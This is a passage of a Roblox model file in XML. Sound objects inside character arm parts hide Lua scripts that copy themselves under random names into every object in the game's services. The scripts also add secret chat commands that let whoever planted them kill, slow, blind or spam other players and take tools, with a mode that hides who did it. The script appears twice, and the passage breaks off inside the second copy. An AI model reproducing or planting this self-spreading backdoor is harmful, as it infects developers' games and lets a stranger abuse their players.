							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">true</bool>
							<token name="Material">256</token>
							<string name="Name">Left Arm</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX644">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">1d8n6si</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX645">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">rlo14</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX646">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-159.655457</X>
								<Y>3.52191734</Y>
								<Z>-5.11040497</Z>
								<R00>0.697126448</R00>
								<R01>2.63230845e-007</R01>
								<R02>0.716948211</R02>
								<R10>1.03866682e-006</R10>
								<R11>1</R11>
								<R12>-1.37710481e-006</R12>
								<R20>-0.716948211</R20>
								<R21>1.7046865e-006</R21>
								<R22>0.697126448</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">true</bool>
							<token name="Material">256</token>
							<string name="Name">Right Arm</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX647">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">p00dc1</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX648">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">wmrdogm6i</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
